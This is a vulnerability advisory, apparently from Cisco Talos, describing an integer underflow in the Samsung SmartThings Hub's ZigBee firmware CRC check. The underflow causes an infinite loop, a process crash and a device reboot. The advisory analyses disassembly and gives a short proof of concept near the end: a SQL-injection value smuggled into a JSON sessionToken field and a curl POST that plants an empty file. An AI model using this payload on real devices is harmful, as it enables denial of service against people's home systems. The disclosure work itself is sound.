CVE-2018-3926
An exploitable integer underflow vulnerability exists in the ZigBee firmware update routine of the hubCore
binary of the Samsung SmartThings Hub. The hubCore
process incorrectly handles malformed files existing in its “data” directory, leading to an infinite loop, which eventually causes the process to crash. An attacker can send an HTTP request to trigger this vulnerability.
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
https://shop.smartthings.com/products/samsung-smartthings-hub
5.3 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H
CWE-191: Integer Underflow (Wrap or Wraparound)
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller that allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore
process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
The hubCore
process handles most of the features provided by the hub.
One of those is the ability to talk to the ZigBee SoC on-board, and to update its firmware. Every 30 seconds, the taskHubRun
function is called to sequentially execute a series of tasks. One of these tasks is called taskZigbeeStateRun
, which, among other functionalities, allows for updating the ZigBee firmware.
To achieve this, the function zigbeeBootLoadFile
is called in two instances, for checking the CRC16 of two different files employed in the firmware update process: “/hub/data/hubcore/stZigbee” and “/hub/data/hubcore/stZigbeeNcp”.
.text:0015F514 zigbeeBootLoadFile
.text:0015F514
.text:0015F514 nread = -0x6E8
.text:0015F514 var_6DC = -0x6DC
.text:0015F514 var_6D8 = -0x6D8
.text:0015F514 var_6D4 = -0x6D4
.text:0015F514 var_6D0 = -0x6D0
.text:0015F514 var_6CC = -0x6CC
.text:0015F514 buf = -0x6C2
.text:0015F514 nread_buf = -0x6C0
.text:0015F514 nbytes = -0x6BC
.text:0015F514 dst = -0x6B8
.text:0015F514 sizeptr = -0x5B8
.text:0015F514 var_5B4 = -0x5B4
.text:0015F514 var_5B0 = -0x5B0
.text:0015F514 var_5AC = -0x5AC
.text:0015F514 tv = -0x5A8
.text:0015F514 s = -0x5A0
.text:0015F514 var_59C = -0x59C
.text:0015F514
...
.text:0015F6B8 6E8 MOV R0, R5 ; [1] handle
.text:0015F6BC 6E8 ADD R1, SP, #0x6E8+sizeptr ; sizeptr
.text:0015F6C0 6E8 BL stFileSize ; [2]
.text:0015F6C4 6E8 CMP R0, #0
.text:0015F6C8 6E8 BNE loc_15F6E8
...
.text:0015F6E8 loc_15F6E8
.text:0015F6E8 6E8 LDR R3, [SP,#0x6E8+sizeptr]
.text:0015F6EC 6E8 MOV R9, #4999999 ; [3]
.text:0015F6F4 6E8 CMP R3, R9
.text:0015F6F8 6E8 BHI loc_15F6CC
.text:0015F6FC 6E8 MOV R10, #0
.text:0015F700 6E8 ADD R1, SP, #0x6E8+nbytes ; sizeptr
.text:0015F704 6E8 MOV R0, R5 ; handle
.text:0015F708 6E8 STR R3, [R4,#(dword_AAA48C - 0xAAA468)]
.text:0015F70C 6E8 STRH R10, [SP,#0x6E8+buf]
.text:0015F710 6E8 BL stFileSize ; [4]
.text:0015F714 6E8 CMP R0, R10
.text:0015F718 6E8 BEQ loc_15F728
.text:0015F71C 6E8 LDR R3, [SP,#0x6E8+nbytes]
.text:0015F720 6E8 CMP R3, R9
.text:0015F724 6E8 BLS loc_15F798
...
.text:0015F798 loc_15F798
.text:0015F798 6E8 BL crc16_init ; [5]
.text:0015F79C 6E8 LDR R1, [SP,#0x6E8+nbytes] ; [6]
.text:0015F7A0 6E8 MOV R9, R0
.text:0015F7A4 6E8 SUB R1, R1, #2 ; [6]
.text:0015F7A8 6E8 CMP R1, R10
.text:0015F7AC 6E8 STR R1, [SP,#0x6E8+nbytes] ; [6]
.text:0015F7B0 6E8 ADDEQ R10, SP, #0x6E8+nread_buf
.text:0015F7B4 6E8 BEQ loc_15F8A8
...
.text:0015F7C8 6E8 MOV R11, R10
...
.text:0015F7F4 6E8 MOV R6, R11
...
.text:0015F800 6E8 B loc_15F824
.text:0015F804 ---------------------------------------------------------------------------
.text:0015F804
.text:0015F804 loc_15F804 ; loop
.text:0015F804 6E8 LDR R1, [SP,#0x6E8+nread_buf] ; len
.text:0015F808 6E8 BL crc16_buffer_append ; [8]
.text:0015F80C 6E8 LDR R3, [SP,#0x6E8+nread_buf]
.text:0015F810 6E8 MOV R9, R0
.text:0015F814 6E8 LDR R1, [SP,#0x6E8+nbytes] ; file_size
.text:0015F818 6E8 ADD R6, R6, R3 ; [9]
.text:0015F81C
.text:0015F81C loc_15F81C
.text:0015F81C 6E8 CMP R6, R1 ; [10]
.text:0015F820 6E8 BCS loc_15F88C
.text:0015F824
.text:0015F824 loc_15F824
.text:0015F824 6E8 RSB R3, R6, R1
.text:0015F828 6E8 ADD R2, SP, #0x6E8+dst ; buf
.text:0015F82C 6E8 CMP R3, #0x100
.text:0015F830 6E8 STR R10, [SP,#0x6E8+nread] ; nread
.text:0015F834 6E8 MOVCS R3, #0x100 ; count
.text:0015F838 6E8 MOV R0, R5 ; handle
.text:0015F83C 6E8 MOV R1, R6 ; file_size
.text:0015F840 6E8 BL stFileRead ; [7]
.text:0015F844 6E8 SUBS R11, R0, #0
.text:0015F848 6E8 MOV R2, R9 ; crc
.text:0015F84C 6E8 MOV LR, #0x1E
.text:0015F850 6E8 MOV R3, #0x25A
.text:0015F854 6E8 ADD R0, SP, #0x6E8+dst ; buf
.text:0015F858 6E8 BNE loc_15F804 ; loop
.text:0015F85C 6E8 ADD R0, SP, #0x6E8+sizeptr
.text:0015F860 6E8 MOV R7, #0
.text:0015F864 6E8 STR R8, [SP,#0x6E8+var_5AC]
.text:0015F868 6E8 STR LR, [SP,#0x6E8+sizeptr]
.text:0015F86C 6E8 STR R4, [SP,#0x6E8+var_5B4]
.text:0015F870 6E8 STR R3, [SP,#0x6E8+var_5B0]
.text:0015F874 6E8 BL log_shouldEmitRecord
.text:0015F878 6E8 CMP R0, R7
.text:0015F87C 6E8 BNE loc_15F93C
.text:0015F880
.text:0015F880 loc_15F880
.text:0015F880 6E8 LDR R1, [SP,#0x6E8+nbytes]
.text:0015F884 6E8 ADD R6, R1, #1
.text:0015F888 6E8 B loc_15F81C
.text:0015F88C ---------------------------------------------------------------------------
.text:0015F88C
.text:0015F88C loc_15F88C
...
A series of custom functions are used for interacting with the filesystem and computing the CRC16. For the sake of brevity, we list below only the reverse-engineered prototypes of those functions.
// Given a file handle, the size of the file is stored in the "size" pointer.
// Returns 1 on success, 0 otherwise.
int stFileSize(int handle, int *size);
// Given a file handle, reads a maximum of "count" bytes into "buf".
// Finally, the number of bytes read is stored in "nread".
// Returns 1 on success, 0 otherwise.
int stFileRead(int handle, int file_size, char *buf, int count, int *nread);
// Initializes the CRC16 value.
// Always returns 0xffff.
int crc16_init();
// Starting from the value set by "crc", updates the CRC16 with the data stored in "buf" (which has length "len").
// Returns the updated CRC16.
int crc16_buffer_append(char *buf, int len, int crc);
At [1], r5
contains the handle to the file passed as argument (either “/hub/data/hubcore/stZigbee” or “/hub/data/hubcore/stZigbeeNcp”).
The file size is calculated [2] and the result stored in sizeptr
. At [3], the file is checked to be not bigger than 4,999,999 bytes. At [4], the file size is retrieved again, but stored in nbytes
, and again, the result is checked to be not bigger than 4,999,999.
At [5], the CRC16 value is initialized, and the file length is decreased by two [6], assuming that a two-byte CRC16 value is present at the end of the file.
The execution then enters a loop, which reads the file contents [7] in chunks of 256 bytes for updating the current CRC16 value [8].
At [9], r6
keeps the number of bytes read, which is updated by adding the current chunk length (r3
). Finally at [10], r1
(which contains the file size minus two) is compared against r6
, in order to exit the loop when all bytes are processed.
The operation at [6] is unsafe, and can result in an integer underflow when the size of the file is either 0
or 1
.
If this happens, nbytes
will have a value respectively of 0xfffffffe
or 0xffffffff
, which will cause the loop to try to read past the end of the file. This is not considered an error, and stFileRead
will still return 1
, but the nread
value will be 0
since no bytes have been read. This, in turn, causes the increment at [9] to be ineffective, and the loop never terminates.
Additionally, hubCore
runs a “watchdog” thread which, if not restarted, kills the process itself by calling abort()
. Since the loop never terminates, the watchdog is never restarted and the process is killed.
Moreover, hubCore
is responsible for restarting the system watchdog “/dev/watchdog”, and since hubCore
is never restarted, the device is rebooted shortly after.
Note that in order to exploit this vulnerability, an attacker needs to be able to create files inside the device. This can be achieved using TALOS-2018-0556, as demonstrated in the proof of concept below.
The following proof of concept shows how to create an empty “/hub/data/hubcore/stZigbee” file using TALOS-2018-0556, which will cause the hubCore
process to crash, and in turn the device to reboot.
$ sInj='","_id=0 where 1=2;commit;attach database \\"/hub/data/hubcore/stZigbee\\" as x;--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}"
2018-05-14 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.